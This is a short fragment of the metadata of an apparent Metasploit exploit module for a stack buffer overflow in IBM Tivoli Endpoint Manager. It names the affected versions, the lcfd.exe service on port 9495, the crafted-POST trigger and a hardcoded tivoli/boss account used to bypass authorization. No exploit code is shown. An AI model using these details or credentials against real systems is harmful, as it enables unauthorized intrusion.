'Name' => 'IBM Tivoli Endpoint Manager POST Query Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the way IBM Tivoli
Endpoint Manager versions 3.7.1, 4.1, 4.1.1, 4.3.1 handles long POST query
arguments.
This issue can be triggered by sending a specially crafted HTTP POST request to
the service (lcfd.exe) listening on TCP port 9495. To trigger this issue authorization
is required. This exploit makes use of a second vulnerability, a hardcoded account
(tivoli/boss) is used to bypass the authorization restriction.
